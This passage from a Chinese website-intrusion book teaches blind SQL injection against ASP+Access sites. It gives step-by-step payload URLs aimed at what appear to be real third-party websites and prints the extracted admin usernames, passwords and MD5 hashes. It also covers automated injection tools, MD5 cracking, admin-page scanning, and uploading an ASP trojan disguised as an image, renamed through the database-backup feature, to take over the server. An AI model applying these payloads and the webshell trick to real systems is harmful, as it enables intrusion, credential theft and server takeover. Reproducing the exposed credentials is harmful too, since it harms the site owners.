网站入侵与脚本攻防修炼
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

2.5 注入Access数据库全靠猜解

上面的’or'='or’漏洞攻击,只是一个简单的SQL注入攻击例子。实际上,SQL注入攻击的危害十分大,攻击者可以借助SQL注入猜测数据库的详细结构,包括数据库中的字段名和表名等,以及向数据库中添加任意用户或者读取任意用户的密码等。

目前,最常见的网站程序与数据库结构是ASP+Access,由于Access数据库功能比较简单,注入攻击的方法也比较固定,因此这里首先侧重讲解一下ASP+Access网站系统的SQL注入攻击原理及方法。

2.5.1 信息很丰富的Select查询

由于Access数据库的功能比较简单,不支持多句查询和联合查询等,因此,进行SQL注入攻击的方法主要是建立在基本的Select查询基础上的。Select查询是SQL注入攻击Access数据库的基础,先来简单地了解一下基础的Select查询语句。

1.建立一个Access攻击目标数据库

Microsoft Access的安装是非常简单的,是标准的Windows程序安装向导模式,一直单击【确定】按钮,即可完成安装。这里主要讲一讲如何建立Access数据库及表。

Microsoft Access提供了一个“数据库向导”, “数据库向导”是为了方便建立数据库而设计的向导类型的程序,它可以大大提高工作效率,通过简单的几个步骤,就可以轻松地获得一个数据库。这里以最新版的Microsoft Access 2007为例进行讲解。

打开Microsoft Access 2007,单击主菜单【新建】,打开新建数据库对话框。在左侧模板类型中选择“功能”项,单击右侧的“空白数据库”,在右侧设置数据库路径及文件名(图58)。可将文件名设置为“test.mdb”,并选择保存类型为“Microsoft Access 2000数据库”(图59)。设置完毕后,单击【创建】按钮,即可建立一个后缀名为.mdb的Access数据库文件。

图58 新建空白数据库

打开刚才新建的“test.mdb”数据库文件,默认自动开始建立一个数据表。设置此数据表为几个字段:“账号”、“用户名”、“手机号”、“地址”和“密码”。将此资料表重命名为“admin”,接着输入一些数据记录(图60),然后保存数据表即可(见随书光盘 \Sample\ch2\test.mdb)。

图59 选择数据库类型

图60 示例数据库内容

2.需要灵活使用的几个Select查询

简单的Select查询,包括选择列表、from子句和where子句,它们分别定义说明所查询字段、查询的表或视图及搜索条件等。这些简单的查询语句,都是在进行SQL注入攻击Access数据库时必须用到的。

1)创建查询

为了便于学习SQL语句,直观地看到语句执行效果,可以在Micorsoft Access软件中打开前面建立的“test.mdb”数据库文件。单击功能区标签“创建”→“查询设计”,打开查询窗口,关闭显示表窗口(图61)。

图61 创建查询设计

右下角处的“SQL”按钮,打开SQL查询视图,在视图中输入SQL语句,单击工具栏上的“执行”按钮,即可在其中直接执行SQL语句,并看到结果(图62)。

图62 SQL语句执行窗口

例如,下面是一个简单的查询语句:

            SELECT  手机号,地址 FROM admin WHERE 姓名=’肖遥’

该语句可查询admin表中姓名为“肖遥”的“手机号”字段和“地址”字段(图63)。

图63 查询结果

2)选择字段表

选择字段表(select_list)用于查询字段,它可以是一组字段名字段表、星号、表达式、变量(包括局部变量和全局变量)等构成。

(1)选择所有字段

例如,下面语句显示admin表中所有字段的数据(图64):

            SELECT *
            FROM admin

图64 查询所有字段

(2)选择部分字段并指定它们的显示次序

查询结果集合中数据的排列顺序与选择列表中所指定的字段名排列顺序相

同。例如:

            SELECT 姓名,密码
            FROM admin

可查询admin表中所有姓名和密码字段数据(见图65)。

图65 查询指定字段

(3)限制返回的行

在选择列表查询中,可使用TOP n [PERCENT]选项限制返回的记录数据行数, TOP n说明返回n行,而TOP n PERCENT时,说明n是表示一个百分数,指定返回的行数等于总行数的百分之几。例如:

            SELECT TOP 2 * FROM admin
            SELECT TOP 20 PERCENT * FROM admin

语句1的执行结果如图66所示。

图66 查询字段的指定记录行

3)使用Where子句设置查询条件

使用Where子句设置查询条件,可过滤掉不需要的数据行。例如,下面语句查询“姓名”为“肖遥”的数据(图67):

            SELECT *
            FROM admin
            WHERE 姓名=’肖遥’

图67 条件查询结果

where子句还可包括各种条件运算符:

比较运算符(大小比较):>、>=、=、<、<=、<>、! >、! <。

范围运算符(表达式值是否在指定的范围):BETWEEN…AND…、NOT BETWEEN…AND…。

列表运算符(判断表达式是否为列表中的指定项):IN(项1,项2……)、NOT IN(项1,项2……)。

模式匹配符(判断值是否与指定的字符通配格式相符):LIKE、NOT LIKE。

空值判断符(判断表达式是否为空):IS NULL、NOT IS NULL。

逻辑运算符(用于多条件的逻辑连接):NOT、AND、OR,要注意,逻辑运算符的优先级排列为:NOT、AND、OR。

另外,在使用where子句进行条件查询时,还可以使用以下通配字符。

百分号“%”:可匹配任意类型和长度的字符,如果是中文,请使用两个百分号即“%%”;

下画线“_”:匹配单个任意字符,它常用来限制表达式的字符长度;

方括号“[]”:指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个。

例如,要查询数据库中,所有“用户名”包含“张”的数据,可执行:

            Select *
            FROM admin
            WHERE 姓名 LIKE ‘%张%’

使用通配字符进行查询,主要用在网站搜索功能中,在进行搜索型注入时,会用到这些通配符查询,所以是非常重要的。

4)查询结果排序

使用ORDER BY子句,可对查询返回的结果按一列或多列排序。ORDER BY子句的语法格式为:

            ORDER BY {column_name [ASC—DESC]} [, …n]

其中ASC表示升序,为默认值,DESC为降序。ORDER BY不能按ntext、text和image数据类型进行排序。如执行以下语句,可按用户手机号从大到小排序(图68):

            SELECT *
            FROM admin
            ORDER BY 手机号 desc

图68 查询结果排序显示

2.5.2 使用Select猜解Access表及字段名

在前面用单引号法和“1=1和1=2”法,确定了SQL注入点的存在后,可将查询条件替换成SQL语句,从而猜解出数据库的表名。

1.Access中的查询实验

先来做一个小实验,在前面我们用Micorosoft Access建立了一个“test.mdb”数据库(见随书光盘 \Sample\ch2\test.mdb)。其中有名为“admin”的表及“密码”、“用户名”、“账号”等字段(图69)。用Micorosoft Access打开此数据库,建立一个SQL查询窗口,在其中执行语句:

            Select count(*) from users

图69 “admin”表

将弹出错误提示框,提示找不到输入表或查询“users”(图70),这是因为在“test.mdb”数据库中,并不存在“users”这样一个表。再执行如下语句:

            Select count(*) from admin

图70 错误提示框

可看到返回了查询数值为“3”,这是因为数据库中有“admin”表,并且其中有3条记录,上面的SQL语句查询了“admin”表中的记录,并正确的返回了记录数目值(图71)。

图71 正常返回表中记录数目

从上面的例子可以看出,使用“Select Count(*) from表名”可以检测数据库中是否有指定的表。因此,在进行SQL注入时,也可以使用同样的方法来猜解数据库中的表名。

2.用Select Count()转换查询类型

猜解数据库表名的方法,是在注入点链接后,提交

            And (Select Count(*) from Admin)>=0

进行查询。这里以某数字型注入点为例:

            http://www.***.com/***.asp? ID=50

提交查询链接为:

            http://www.***.com/***.asp? ID=50 And (Select Count(*) from Ad
            min)>=0

如果返回页面与“http://www.***.com/***.asp? ID=50”相同,说明附加条件“And (Select Count(*) from Admin)>=0”成立,表Admin存在;反之不存在。如此循环,直至猜到表名为止。

表名猜出来后,可将上面的“Count(*)”替换成“Count(字段名)”进行提交,用同样的原理猜解字段名。

简单地说,“Select Count(*) from表名”是统计指定表中所有记录数目,也就是说,只要存在指定的表,那么必然返回值为1或大于1,也就是符合“>=0”,其值为真。因此,当数据库中存在admin表时,“And (Select Count(*) from admin)>=0”为真,等价于“and 1=1”,所以注入点返回页面正常显示。反之,页面不正常显示,则说明不存在指定的表名。

Access数据库的特殊性,其返回的错误信息提示比较少,因此,在猜解Access数据库的表名时,有一定偶然的成分,如果表名起得很复杂,很没规律,那可能无法猜解出表名。也就是说,对于Access数据库来说,SQL注入攻击是建立在网页程序不严密,以及使用者安全意识不够的基础上的。

而对于SQL Server的数据库,可以通过各种方法让网页程序报出错误信息,从而告诉攻击者表名及字段名,我们在后面的SQL数据库注入篇中会做介绍。

3.猜解表名及字段名的实例

打开网页“http://www.nizi.com.cn/shownews.asp? newsid=1633”,在该网页链接后使用and 1=1和and 1=2方法进行判断,发现两次返回信息均不相同,说明存在SQL注入漏洞(图72)。

图72 检测到Access数据库注入点

现在可以通过在链接地址后加上“and exists (select * from admins)”语句,提交链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from admins)

该句表示测解网站数据库中是否存在“admins”表名,但是浏览返回信息(图73):

            [Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 数据库
            引擎找不到输入表或查询 ' admins' 。 确定它是否存在,以及它的名称的拼写是
            否正确。

图73 不存在“admins”表的返回信息

说明数据库中不存在名为“amdins”的表名;我们可以更改表名继续进行猜解。提交链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from username)

返回依然为出错信息。再次提交链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from users)

返回页面正常显示,说明在数据库中存在“user”的表名(图74)。

图74 检测“user”表返回正常信息

接着猜测“users”表中存在的字段名,在注入点链接后,添加语句“and (select count(username) from users)>=0”,提交链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
             count(username) from users)>=0

返回信息为“[Microsoft][ODBC Microsoft Access Driver] 参数不足,期待是1。”(图75),说明不存在“username”这个字段。再继续提交链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
             count(user) from users)>=0

返回依然为错误,再提交链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
            count(name) from users)>=0

终于返回正常的页面,说明在“users”表中存在名为“name”的用户字段名(图76)。

图75 错误字段名返回信息

图76 检测到“name”字段名

再猜测表中的密码字段名,尝试提交“and (select count (password) from users)>=0”、“and (select count(pass) from users)>=0”时,均返回错误。直接提交“and (select count(pwd) from users)>=0”时,链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and (select
            count(pwd) from users)>=0

返回正常页面,则说明密码的字段名为“pwd”(图77)。

图77 检测“pwd”密码字段名

在上面猜解步骤中可以看到,表名和字段名完全是靠经验或运气进行猜测的;而具体的用户名和密码只要按照规律就一定能猜解成功。下面给大家提供一些常见的字段名和表名,以供猜测时参考。

常见表名:admin、a_admin、x_admin、m_admin、adminuser、admin_user、article_admin、administrator、manage、manager、member、memberlist、user、users、userlist、user_list、login、用户、密码、会员、登录、movie、movies、news。

常见字段名:id、admin、admin_id、adminuser、admin_user、adminuserid、admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、adminpass、adminpassword、administrators、usr、usrname、usr_name、usr_pass、usrnam、user、userid、user_id、password、pwd、userpwd、useradmin、用户、用户名、密码等。

另外,对于一些常见的网站,可以从网上下载其源代码,从而查看到其中的表名和字段名。

2.5.3 ASCII逐字解码法猜解字段值

在表名和字段名猜解成功后,攻击者可继续使用SQL语句,猜解出所有字段中的值。比较常用的方法是“ASCII逐字解码法”,这种方法猜解速度比较慢,但成功率非常高。

1.ASCII逐字解码法

继续进行小实验。首先,在Access中打开前面生成的“test.mdb”数据库,执行如下SQL查询(图78):

            select top 1 len(账号) from Admin

图78 查询“账号”字段值长度

这里的“Top 1”,表示选择第一条记录。在“账号”字段中,第一条记录数据值为“admin1”,用“len()”函数可获取字段的长度,得到其长度为6。因此可以看到查询显示结果为“6”(图79)。如果对“select top 1 len(账号) from Admin”返回值进行逻辑判断的话,其值是大于0的。也就是说,“select top 1 len(账号) from Admin>0”成立,其值为真。

图79 显示字段长度

相应地,利用前面的SQL注入原理,使用经典的“1=1和1=2法”的话,可以用“(select top 1 len(账号) from Admin)>0”代替“and 1=1”和“and 1=2”进行判断。也就是说,“and (select top 1 len(账号) from Admin)>0”与“and 1=1”是等价的,其值都为真。那么,进行注入检测时,页面的返回就显示正常。

但是,当执行查询语句“(select top 1 len(账号) from Admin)>6”时,由于“(select top 1 len(账号) from Admin)”的值为6,因此“and (select top 1 len(账号) from Admin)>6”其值为假,相应的就等价于“and 1=2”。那么,在进行注入检测时,页面的返回就显示错误信息。

反之,在不知道字段长度的情况下,使用“and (select top 1 len(字段名) from表名)>0”代替“and 1=1”和“and 1=2”进行SQL注入检测,通过页面返回信息正常或错误,也可以确定字段的长度。这就是字段值猜解的原理。在具体猜解时,需要对字段长度进行反复的提交尝试,具体方法如下。

例如,已知表“Admin”中存在“username”字段,首先可取第一条记录,测试字段的长度。提交的检测语句为:

            and (select top 1 len(username) from Admin)>0

整条语句表示,获取“username”字段中的第一条记录数据的长度。如果记录数据的长度大于0,则条件成立,“and (select top 1 len(username) from Admin)>0”的反回值就为真,那么提交的链接返回页面显示为正常。

接着继续测试提交:

            and (select top 1 len(username) from Admin)>1
            and (select top 1 len(username) from Admin)>2
            …………
            and (select top 1 len(username) from Admin)>*

一直到页面返回不正常时,则说明“and (select top 1 len(username) from Admin)>*”其值为假,所以页面返回不正常。也就是说,“(select top 1 len(username) from Admin)>*”不成立,那么“len(username)>*”不成立,则“len(username)=*”,可得出“username”的字段长度为“*”。

在得到“username”字段的长度后,可以用“mid(username, N,1)”函数来截取第N位字符,再用“asc(mid(username, N,1))”函数,得到该第N位字符的ASCII码,例如:

            and (select top 1 asc(mid(username,1,1)) from Admin)>0

如果页面返回正常,则说明“(select top 1 asc(mid(username,1,1)) from Admin)>0”成立,即“username”字段的第一条记录的第一位字符,其ASCII码是大于0的。用同样的方法继续提交:

            and (select top 1 asc(mid(username,1,1)) from Admin)>1
            and (select top 1 asc(mid(username,1,1)) from Admin)>2
            and (select top 1 asc(mid(username,1,1)) from Admin)>3
            …………
            and (select top 1 asc(mid(username,1,1)) from Admin)>*

直到返回页面不正常为止,说明提交的“and (select top 1 asc(mid(username,1,1)) from Admin)>*”是不成立的,“(select top 1 asc(mid(username,1,1)) from Admin)>*”值为假。由此可得出,“(select top 1 asc(mid(username,1,1)) from Admin)=*”,也就是说,“username”字段的第一条记录的第一位字符,其ASCII码是为“*”的。

再用同样的方法猜解第2、3、4位字符,原理都是一样的,提交格式为:

            and (select top 1 asc(mid(username, N,1)) from Admin)>1

即可猜解出第N位字符的ASCII码。将ASCII码转换为对应的字符,就可以得到相应字段中的数据了。

2.猜解字段值的实例

在前面的实例中,猜解出了在“users”表中存在着“name”和“pwd”两个字段,现在我们先来猜解“name”字段的长度。提交“and (select top 1 len(name) from users)>0”,链接为:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>0

返回页面正常显示,则继续进行提交:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>1
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>2
            …………
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>4

返回页面都显示正常,直接到提交>5链接:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>5

此时,返回页面错误的提示,提示信息为“该新闻不存在或未通过审核”,说明“name”的长度为5(图80)。

图80 检测“name”字段长度为5

用同样的方法检测“pwd”字段长度:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>0
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>1
            …………
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>8

当提交到“(select top 1 len(pwd) from users)>8”时,返回了出错提示,由此可以得到“pwd”字段长度为8(图81)。

图81 猜解pwd字段长度为8

现在要猜测具体的用户名和密码了,提交“and (select top 1 asc(mid(name,1,1)) from users)>0”,链接为:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,1,1)) from users)>0

页面返回正常;继续提交“and (select top 1 asc(mid(name,1,1)) from users)>10”,显示正常。

再继续提交“and (select top 1 asc(mid(name,1,1)) from users)>50”、“and (select top 1 asc(mid(name,1,1)) from users)>80”、“and (select top 1 asc(mid(name,1,1)) from users)>90”,页面返回均正常。

当提交“and (select top 1 asc(mid(name,1,1)) from users)>100”时,返回错误信息(图82),由此确定“name”字段第一条记录数据的第1位字符,其ASC编码位于90到100之间。

图82 第1位字符对应ASC码位于90到100之间

继续提交“and (select top 1 asc(mid(name,1,1)) from users)>95”,返回正常;

提交“and (select top 1 asc(mid(name,1,1)) from users)>96”,返回正常;

直接提交到“and (select top 1 asc(mid(name,1,1)) from users)>97”时,页面返回错误信息。由此说明“name”字段第一条记录的第一位字符对应的ASCII码为“97”,通过编码转换后,得到其对应的字母为“a”。

提示:ASCII码转换器

在猜解字段记录值的过程中,得到某个字符的ASCII码后,可以对照ASCII码表查出其对应的字符。但是手工对照查找太麻烦了,攻击者往往会使用一个叫做“ASC码转换器”的工具(http://www.skycn.com/soft/22830.html)。“ASC码逆转换器”其实是一个VBS脚本的ASCII码转换工具,运行软件后,在“转对应键”中输入ASC码,如上面的“97”(图83),单击【转换】按钮后,就可以得到对应的字符为“a”。

图83 使用工具转换ASCII码字符

再继续更改mid(name, N,1)中N的数值,用同样的方法提交,链接为:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>0
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>1
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>2
        …………
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>99

均返回正常信息,直接到提交:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>100

此时返回了错误信息,由此可确定 “name”字段第一条记录的第二位字符对应的ASCII码为“100”,编码转换后得到其对应的字母为“d”。

一直用同样的方法,猜解出“name”字段第一条记录的所有字符,对应的值为“admin”。再用同样的方法,猜解“pwd”字段第一条记录中的所有字符,所到其对应的数值为“/fengner”。

提示:ASCII码值在0~128的范围之内,表示其对应的字符是字母或数字;如果在猜解过程中,得到字段记录中某个字符,其对应的ASCII码为负数的话,说明此字符为汉字。

2.5.4 三分钟攻陷了一个网站

使用上面的方法进行手工猜解时,如果字段名和表名比较少见,用户名、密码等设置得比较复杂的话,手工猜解的方法很难、很麻烦。为了加快入侵攻击的步伐,攻击者们往往会利用上面的攻击原理,制作出SQL自动注入的工具来代替手工提交链接,因此攻击危害性非常大。往往攻击入侵一个网站,不过是几分钟之内的事情。

当然,这类攻击工具在网络安全工作者的手中同样也可以发挥出强大的威力,帮助我们弥补网站的安全漏洞。

1.快速破解用户密码

比较常用的SQL自动注入工具是非常多,这里简单地介绍一下“WIS+WED”和NBSI2的使用。

1)WIS+WED

“wed+wis”的SQL注入工具包,是在由国内一位著名黑客小榕发布的SQL注入工具。注入速度是惊人之快,使用该工具不仅可以很快地找到网站的SQL注入漏洞的页面,而且可以很快猜出管理员的账号和密码。

工具包中包括两个程序:“wed.exe”和“wis.exe”(图84),其中“wis.exe”是用来扫描某个站点中存在的SQL注入漏洞的,并且可以扫描到后台管理员登录的路径;“wed.exe”则是用来猜测SQL注入账号和密码的。两个工具结合起来,可完成的一个完整的SQL注入攻击过程。

本来这两个工具都是命令行下使用的程序,不过为了方便使用,有人在这个工具上加上了GUI图形外壳。直接执行压缩包中的“OPEN TOOLS.exe”程序就可以了。

图84 wed+wis注入工具

可先用WIS代替手工寻找SQL注入点,运行程序“OPEN TOOLS.exe”,在程序界面的“WIS Url”后输入某个网站地址,如“http://www.3uo.cn/”(图85),单击【Start】按钮后,就开始搜索网站中存在的注入漏洞了。

图85 设置扫描站点

程序自动打开了一个命令窗口,并自动进行扫描,很快得到了扫描结果。其中红色的链接地址,就是扫描到的注入点(图86)。在本例中提示的信息为:

        SQL Injection Found: /shownews.asp? id=26
        Injection Page Final Result:
        ============================
        /shownews.asp? id=26

由上可知,SQL漏洞注入点链接地址为“http://www.3uo.cn/shownews.asp? id=26”。

图86 扫描到注入漏洞链接

扫描完整个网站中的SQL注入页面后,可以继续第二个步骤,就是破解管理员用户名和密码。选择扫描出的SQL注入点列表中的某个链接作为破解目标,返回OPEN TOOLS界面,在“WED Url”后输入注入点的链接地址:“http://www.3uo.cn/shownews.asp? id=26”,再次单击【Start】按钮(图87)。

图87 注入点破解设置

程序会打开另外一个命令窗口,开始破解用户名和密码。程序会自动调用工具包中的3个文件,“TableName.dic”、“UserField.dic”和“PassField.dic”,这几个文件是破解用户数据库中的字表名、用户名和用户密码所需的默认字典文件。一般来说,WED程序很快就可以完成用户名和密码的破解,可以看到用户名和密码为数据(图88)。破解成功的提示信息如下:

        Got Table Name is "admin"
        Got Name Field is "userid"
        Got Length of Field "userid" is: 2
        Got Password Field is "adminpassword"
        Got Length of Field "adminpassword" is: 16
        userid is: baoma_530
        adminpassword is: mingnianjintir666bao*

其中,在“userid is:”后显示的就是用户名,“password is:”后显示的就是用户密码。“Got Table Name is”后接的是猜解出来的表名;“Got Name Field is”后表示猜解出来的用户名字段,“Got Length of Field”显示的是指定字段的长度;“Got Password Field is”后是密码字段。

图88 破解出用户名和密码

2)NBSI自动猜解用户密码

NBSI的功能更为强大些,扫描网站注入点在“网站扫描”界面中进行。找到注入点后,在“注入分析”界面的“注入地址”中输入注入点链接地址,单击右侧的【检测】按钮,很快会在“分析结果”中显示检测结果。例如,这里显示“信息捕获”为“HTTP报头及IIS提示分析”,注入方式为“数字型”,数据库为“Access”(图89)。

图89 注入点详细信息

单击下方的“已猜测表名”中的【自动猜解】按钮,在中间列表显示检测到的表名为“admin”和“users”、“news”(图90)。选择“admin”后,在“已猜解字段名”框下单击【自动猜解】按钮,执行完毕后在中间列表中显示数据库中的字段名为“id”、“adminname”和“adminpassword”(图91)。勾选所有字段名后,单击右边“已猜解记录”框下的【猜解数据】按钮,很快就可以得到用户名和密码了(图92)。在这里字段破解信息记录有两条:

图90 猜解数据库表名

图91 猜解出指定表中的字段名

图92 猜解出指定字段记录值

            [id]:14 [adminname]:admin [adminpassword]:4c0de7ea4d0d467c
            [id]:21 [adminname]:lager [adminpassword]:7a57a5a743894a0e

表示存在两个用户名记录,其中之一用户名为“admin”,密码为“4c0de7ea4d0d467c”;另一用户名为“lager”,密码为“7a57a5a743894a0e”。

3)MD5密码的破解

在上面的猜解过程中,有时得到的用户密码是开始“7a57a5a743894a0e”之类的字符串,其实这类字符是密码经过MD5加密后的密文。攻击者往往会对其进行破解,还原出明文密码后,直接登录后台管理页面。

攻击者可以使用专门的MD5密码破解工具,来破解MD5密码密文。破解工具很多,比如“MD5CrackV2.2”就是一个很简单易用的工具,它可以破解包括字母、数字、特殊字符的各种混合密码。运行程序后,在“密码选项”中勾选“破解单个密文”,输入刚才的管理员密码密文,并设置要破解密码位数及密码中包含的字符类型,可设置为纯数字或纯字符破解,也可以设置成混合字符破解(图93)。然后在右边设置密码长度,可设置为6~10位,最后单击【开始】按钮即可开始破解密码(图94)。

攻击者往往会使用一些黑客字典进行破解。在软件界面中,勾选“字典模式”,并选择相应的字典文件后,可以使用字典方式进行破解,如果字典制作得好,破解的效率更高。

图93 设置MD5破解选项

图94 开始破解

破解MD5密码的工作,绝对是一件非常考验攻击者耐心的事情,如果运气不好的话很可能要破解几天几夜,还不一定能得到正确的密码。但是如果管理员密码设置得比较简单的话,则很容易被破解成功。

另外,攻击者也可能会使用一些在线的MD5密码破解工具。这些在线MD5密码破解工具与本地暴力破解软件不同,每一个在线破解工具,都有一个庞大的字典库,在其中存储了大量密文对应的密码。也就是说,在线MD5密码破解,采用的是字典破解方法,直接对用户输入的密文进行对比,从字典中找到相应的密码明文。因此,其破解速度是非常快的!

例如,有一个叫做“xmd5”(http://www.xmd5.org/index_cn.htm)的在线破解工具。单击页面中的“解密”,直接输入密文,如这里输入上面猜解出来的密文“7a57a5a743894a0e”(图95)。单击【给我转】按钮,即可查看转换结果。如果破解成功的话,页面中会显示成功信息:

            Result: admin   >>>Have a good time ! <<<

信息显示,破解密码原文为“admin”(图96)!

图95 输入MD5密文

图96 在线破解密码成功

2.扫描后台登录页面

获得网站的管理员密码后,攻击者会继续查找网站后台管理登录页面,以用刚才破解的管理员用户名和密码登录控制网站。攻击者可以手工猜测,也可能利用工具来完成后台管理页面的扫描,其速度更快。

1)WIS扫描后台登录页面

使用Wis扫描网站后台管理登录页面的方法很简单,在“OPEN TOOLS”程序界面的“WIS URL”中,输入“漏洞网站 /A”,如这里输入的是“http://www.3uo.cn//A”,单击【Start】按钮执行后即可扫描到后台登录路径(图97)。

在扫描结果信息中,白色链接是猜解的链接,绿色高亮显示的是检测到的后台页面链接地址。例如这里扫描的信息为(见图98):

            Access Page Final Result:
            ============================
            /login.asp (200 OK)
            /login.asp (200 OK)

则说明存在链接地址为“http://www.3uo.cn/login.asp”的后台管理页面。

图97 扫描后台管理页面

图98 扫描到管理登录页面

2)NBSI扫描后台登录页面

单击NBSI工具栏上的【扫描及工具】按钮,选择下拉菜单中的【后台管理路径扫描】命令,然后在扫描地址中输入网站SQL注入漏洞链接地址。默认是从当前目录下开始扫描管理员登录路径,也可以勾选下方的“从根目录开始扫描”,最后单击右边的【开始扫描】按钮,即可开始扫描所有后台管理路径(图99)。

扫描到可能存在的管理页面将会显示在下方的列表中,其中标记为“202”的表示此页面肯定存在。选择页面后,单击最下方的【访问本页】按钮,即可自动调入IE浏览器打开该页面。用浏览器打开扫描到的后台管理登录页面,输入猜解到的用户名和密码即可登录了(图100)。登录成功页面见图101。

图99 NBSI扫描后台管理页面

图100 后台登录页面

图101 登录成功

2.5.5 网站是怎样被控制的

一般来说,攻击者成功登录网站的后台管理页面后,通常都能够很容易上传一个ASP木马后门,进而控制整个网站服务器。上传ASP木马后门的方法很多,主要是根据后台管理系统所提供的功能而定的。例如,在许多后台管理页面中,一般可以上传文件,如果上传的文件类型支持“.asp”的话,攻击者就可以直接上传一个ASP木马了。

1.数据库备份上传ASP木马

例如,这里有某个后台管理页面,提供了图片和文件上传功能。单击页面中的【上传文件/图片】按钮,浏览选择本地硬盘上的一个ASP木马“冰狐浪子木马”的服务端程序文件“asp.asp”,单击【提交】按钮后确定认上传(图102)。然而返回信息为“非法文件”,说明不支持上传ASP文件类型。

图102 上传ASP木马失败

怎么办呢?常见的方法是通过数据库备份来间接完成ASP木马上传的。首先在本地将冰狐浪子木马“asp.asp”改名为“asp.bmp”,然后在刚才的页面中选择上传目录为“软件图片目录”,指定上传文件为“asp.bmp”(图103),提交后文件上传成功,并显示文件上传后的存放路径及文件名(图104)。

单击页面左侧的“备份数据”按钮,在右边页面中修改“当前数据库路径”内容。由于文件上传路径为“D:\web\down\softimg”,因此将数据库路径改为“../softimg/asp.bmp”;并输入“备份数据库目录”为“../softimg”; “备份数据库名称”为“asp.asp”,单击【开始备份】按钮,完成即可将上传的“asp.bmp”改名为“asp.asp”文件了(图105)。

图103 修改ASP木马后缀上传

图104 上传文件成功

图105 数据库备份

2.将网站服务器控制在手

攻击者打开一个新的IE窗口,在地址栏中输入ASP木马“冰狐浪子木马”的服务端程序文件链接地址,回车后如果页面显示为空白的话,则说明冰狐木马上传成功了(图106)。

图106 访问服务端显示空白页面

攻击者打开冰狐浪子的客服务端“icyfox007.htm”,在控制页面的“ASP URL”栏中输入刚才的链接地址,然后在“Javascript”下选择“目录浏览”命令,在下方的“Input Path”中输入“c:\”,然后单击中间的【RUN】按钮(图107)。运行后,将会打开一个新的IE窗口,中间显示了网站服务器上C盘根目录下的所有文件内容(图108)。

图107 设置服务端地址

图108 显示网站服务器文件目录信息

此外,还可以选择不同的命令实现文件上传、文件下载、写入文件、运行程序等功能,通过这些命令可以再上传其他的木马后门,进一步控制网站服务器。